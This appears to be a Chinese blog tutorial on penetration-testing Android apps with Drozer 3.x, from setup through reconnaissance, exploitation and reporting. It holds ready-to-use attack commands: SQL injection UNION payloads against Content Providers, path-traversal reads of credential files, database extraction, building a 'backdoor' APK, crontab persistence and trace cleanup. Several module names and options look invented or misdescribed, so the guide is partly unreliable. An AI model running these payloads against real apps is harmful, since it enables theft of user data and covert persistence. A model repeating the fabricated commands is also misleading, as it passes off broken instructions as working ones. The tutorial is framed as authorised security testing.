Drozer 3.x 完全使用指南:Android应用安全渗透测试实战
Drozer 3.x 是针对 Android 安全评估的现代化框架,相较于仅支持 Python 2.7 的旧版本,3.x 版本全面兼容 Python 3.6+,采用模块化架构并通过 PyPI 分发,大幅简化了安装部署流程。本指南将深入介绍如何利用 Drozer 3.x 对 Android 应用进行全面的安全测试。
博主博客
第一章:环境搭建与配置
1.1 系统要求与安装
Drozer 3.x 支持 Windows、macOS 和 Linux 系统。以下是各平台的安装方法:
Python环境准备(所有平台):
# 检查Python版本,需要3.6及以上
python --version
# 建议使用虚拟环境
python -m venv drozer-env
# 激活虚拟环境
# Windows:
drozer-env\Scripts\activate
# Linux/macOS:
source drozer-env/bin/activate
Drozer 3.x 安装:
# 通过pip安装最新版本
pip install drozer
# 安装开发版本(可选)
pip install git+https://github.com/WithSecureLabs/drozer.git
Android端代理安装:
# 从官方仓库下载最新代理APK
# 或使用已下载的APK文件
adb install drozer-agent-3.0.apk
1.2 连接建立与验证
-
配置Android设备:
- 开启开发者选项和USB调试
- 安装并启动Drozer Agent
- 在Agent中启用嵌入式服务器
-
建立ADB端口转发:
adb forward tcp:31415 tcp:31415 -
连接到设备:
# 基础连接命令 drozer console connect # 指定主机和端口(如需远程连接) drozer console connect --server 192.168.1.100 # 使用指定证书连接 drozer console connect --certificate server.crt -
验证连接:
# 连接成功后,测试基本功能 dz> list dz> run app.package.list
第二章:核心命令详解与使用技巧
2.1 信息收集模块
信息收集是渗透测试的第一步,Drozer 提供了全面的信息收集模块。
应用包枚举:
# 列出所有已安装应用
run app.package.list
# 过滤特定应用(支持正则表达式)
run app.package.list -f "bank|支付|金融"
# 显示第三方应用
run app.package.list -thirdparty
# 显示应用详情
run app.package.info -a com.example.targetapp
权限分析:
# 查看应用声明的权限
run app.package.permissions -a com.example.targetapp
# 查找使用危险权限的应用
run app.package.dangerous -a com.example.targetapp
# 检查权限保护级别
run app.package.manifest -a com.example.targetapp
设备信息收集:
# 获取设备基本信息
run device.info
# 检查设备安全设置
run device.security
# 查看已连接账户
run device.accounts
2.2 攻击面分析
这是Drozer的核心功能,用于识别潜在的攻击向量。
全面攻击面分析:
# 基础攻击面分析
run app.package.attacksurface com.example.targetapp
# 详细输出
run app.package.attacksurface --verbose com.example.targetapp
# 输出格式化为JSON(便于自动化处理)
run app.package.attacksurface --format json com.example.targetapp
组件导出分析:
# 分析Activity导出情况
run app.activity.info -a com.example.targetapp
# 分析Service导出情况
run app.service.info -a com.example.targetapp
# 分析Broadcast Receiver导出情况
run app.broadcast.info -a com.example.targetapp
# 分析Content Provider导出情况
run app.provider.info -a com.example.targetapp
2.3 Activity测试与利用
Activity枚举与启动:
# 列出所有Activity(包括未导出的)
run app.activity.info -a com.example.targetapp -u
# 尝试启动Activity
run app.activity.start --component com.example.targetapp com.example.targetapp.MainActivity
# 带参数启动Activity
run app.activity.start --component com.example.targetapp com.example.targetapp.LoginActivity --extra string username "admin" --extra string password "123456"
# 使用Intent启动Activity
run app.activity.start --action android.intent.action.VIEW --data-uri "https://example.com"
Activity劫持与绕过:
# 检查Activity劫持漏洞
run app.activity.hijack -a com.example.targetapp
# 尝试绕过权限检查
run app.activity.forintent --component com.example.targetapp --action android.intent.action.SEND
2.4 Content Provider测试
Content Provider是Android数据共享的核心组件,也是最常出现漏洞的地方。
URI发现与枚举:
# 自动发现可访问的URI
run scanner.provider.finduris -a com.example.targetapp
# 暴力破解URI路径
run scanner.provider.sqltables -a com.example.targetapp
# 枚举Provider的MIME类型
run app.provider.columns content://com.example.targetapp.provider/table1
数据查询与提取:
# 基本数据查询
run app.provider.query content://com.example.targetapp.provider/users
# 带条件查询
run app.provider.query content://com.example.targetapp.provider/users --selection "username='admin'"
# 跨Provider查询(如果支持)
run app.provider.query content://com.example.targetapp.provider/users --projection "username,password"
# 使用垂直格式显示结果(更易读)
run app.provider.query content://com.example.targetapp.provider/users --vertical
SQL注入漏洞检测:
# 自动化SQL注入检测
run scanner.provider.injection -a com.example.targetapp
# 手动测试SQL注入
run app.provider.query content://com.example.targetapp.provider/users --selection "1=1) UNION SELECT * FROM sqlite_master--"
# 测试盲注
run app.provider.query content://com.example.targetapp.provider/users --selection "1=1 AND 1=2"
目录遍历与文件访问:
# 自动化目录遍历检测
run scanner.provider.traversal -a com.example.targetapp
# 尝试访问系统文件
run app.provider.read content://com.example.targetapp.provider/../../../../etc/hosts
# 尝试写入文件
run app.provider.download content://com.example.targetapp.provider/../shared_prefs/config.xml /tmp/config.xml
2.5 Broadcast Receiver测试
广播接收器分析:
# 列出所有广播接收器
run app.broadcast.info -a com.example.targetapp
# 查看广播接收器的Intent Filter
run app.broadcast.info -a com.example.targetapp -i
# 发送测试广播
run app.broadcast.send --component com.example.targetapp com.example.targetapp.MyReceiver --extra string data "test"
广播漏洞利用:
# 测试广播拒绝服务
run app.broadcast.send --component com.example.targetapp com.example.targetapp.CrashReceiver --extra string large_data "$(python -c 'print("A"*10000)')"
# 尝试权限绕过
run app.broadcast.send --action com.example.targetapp.INTERNAL_ACTION
# 发送有序广播攻击
run app.broadcast.send --action com.example.targetapp.ORDERED_BROADCAST --extra string result "malicious"
2.6 Service测试
服务组件分析:
# 列出所有服务
run app.service.info -a com.example.targetapp
# 启动服务
run app.service.start --component com.example.targetapp com.example.targetapp.MyService
# 停止服务
run app.service.stop --component com.example.targetapp com.example.targetapp.MyService
服务通信测试:
# 绑定到服务
run app.service.bind --component com.example.targetapp com.example.targetapp.RemoteService
# 发送消息到服务
run app.service.send --component com.example.targetapp com.example.targetapp.MessageService --extra string command "execute"
2.7 自动化扫描模块
Drozer 3.x 提供了强大的自动化扫描功能。
全面漏洞扫描:
# 运行所有扫描器
run scanner.misc.native -a com.example.targetapp
run scanner.misc.readablefiles -a com.example.targetapp
run scanner.misc.writablefiles -a com.example.targetapp
# 检查WebView漏洞
run scanner.misc.webview -a com.example.targetapp
# 检查证书验证
run scanner.misc.ssl -a com.example.targetapp
自定义扫描:
# 创建自定义扫描模块
run tools.setup.scanner --create my_scanner
# 运行自定义扫描
run scanner.custom.my_scanner -a com.example.targetapp
第三章:高级技巧与实战案例
3.1 Drozer脚本扩展
编写自定义模块:
# 保存为custom_module.py
from drozer.modules import Module
class CustomExploit(Module):
name = "测试自定义模块"
description = "测试特定漏洞"
examples = ""
author = "Your Name"
date = "2024-01-01"
license = "BSD"
path = ["exploit", "custom"]
def execute(self, arguments):
# 模块逻辑
self.stdout.write("自定义模块执行成功\n")
使用自定义模块:
# 加载模块
module load /path/to/custom_module.py
# 执行模块
run exploit.custom.custom_exploit -a com.example.targetapp
3.2 数据提取与分析
数据库操作:
# 列出数据库文件
run tools.file.list /data/data/com.example.targetapp/databases/
# 下载数据库文件
run tools.file.download /data/data/com.example.targetapp/databases/users.db /tmp/users.db
# 在设备上直接查询数据库
run shell.exec "sqlite3 /data/data/com.example.targetapp/databases/users.db 'SELECT * FROM users;'"
SharedPreferences提取:
# 查找SharedPreferences文件
run tools.file.find /data/data/com.example.targetapp/shared_prefs/
# 读取XML格式的配置文件
run tools.file.read /data/data/com.example.targetapp/shared_prefs/config.xml
3.3 权限提升与持久化
权限提升测试:
# 检查可调试应用
run app.package.debuggable
# 尝试利用可调试应用
run exploit.app.debuggable -a com.example.targetapp
# 检查SU二进制文件
run tools.setup.minimalsu
持久化访问:
# 安装后门APK
run tools.build.build_agent --output /tmp/backdoor.apk
# 设置定时任务
run shell.exec "echo '* * * * * /data/local/tmp/payload.sh' > /data/local/tmp/crontab"
第四章:实战演练:完整测试流程
以下是一个针对测试应用 com.example.vulnerableapp 的完整测试流程:
阶段一:侦查与信息收集
# 1. 发现目标应用
run app.package.list -f vulnerable
# 2. 收集应用信息
run app.package.info -a com.example.vulnerableapp
# 3. 分析攻击面
run app.package.attacksurface --verbose com.example.vulnerableapp
阶段二:漏洞识别与验证
# 4. 测试Content Provider
run scanner.provider.finduris -a com.example.vulnerableapp
run scanner.provider.injection -a com.example.vulnerableapp
run scanner.provider.traversal -a com.example.vulnerableapp
# 5. 测试Activity
run app.activity.info -a com.example.vulnerableapp
run app.activity.start --component com.example.vulnerableapp com.example.vulnerableapp.AdminActivity
# 6. 测试Broadcast Receiver
run app.broadcast.info -a com.example.vulnerableapp
run app.broadcast.send --component com.example.vulnerableapp com.example.vulnerableapp.MessageReceiver
阶段三:利用与数据提取
# 7. 利用SQL注入提取数据
run app.provider.query content://com.example.vulnerableapp.provider/users --selection "1=1) UNION SELECT username,password FROM users--"
# 8. 提取敏感文件
run app.provider.download content://com.example.vulnerableapp.provider/../shared_prefs/credentials.xml /tmp/creds.xml
# 9. 尝试权限提升
run exploit.app.debuggable -a com.example.vulnerableapp
阶段四:报告与清理
# 10. 生成报告
run tools.report.generate -a com.example.vulnerableapp --format html --output /tmp/report.html
# 11. 清理痕迹
run shell.exec "rm -rf /data/local/tmp/drozer_*"
第五章:最佳实践与注意事项
5.1 测试环境配置
- 使用专门的测试设备或模拟器
- 配置完整的测试网络环境
- 备份原始应用和数据
- 记录所有测试操作
5.2 合法性与道德规范
- 获取明确授权:仅测试拥有合法权限的应用
- 遵守法律法规:了解并遵守当地网络安全法律
- 数据保护:不泄露测试中发现的真实用户数据
- 负责任披露:发现漏洞后通过正确渠道报告
5.3 故障排除
常见问题与解决方案:
| 问题 | 可能原因 | 解决方案 |
|---|---|---|
| 连接失败 | ADB未正确配置 | 检查adb devices,重新连接 |
| 命令无响应 | Agent未运行 | 重启手机Agent,重新启用服务器 |
| 权限不足 | 应用未正确配置 | 检查测试应用的权限设置 |
| 模块加载失败 | Python依赖问题 | 重新安装Drozer和依赖包 |
调试技巧:
# 启用详细日志
drozer console connect --verbose
# 查看Drozer日志
tail -f ~/.drozer/logs/drozer.log
# 重置Drozer配置
drozer console clean
结语
Drozer 3.x 作为现代化的 Android 安全评估框架,提供了从信息收集到漏洞利用的完整工具链。通过掌握本指南中的命令和技巧,你可以系统性地评估Android应用的安全性。记住,技术是双刃剑,始终保持职业道德和法律意识,将你的技能用于提升应用安全、保护用户数据。
Drozer 3.x 完全使用指南:Android应用安全渗透测试实战
https://blog.uso6.com/archives/drozer-3.x-wan-quan-shi-yong-zhi-nan-androidying-yong-an-quan-shen-tou-ce-shi-shi-zhan
评论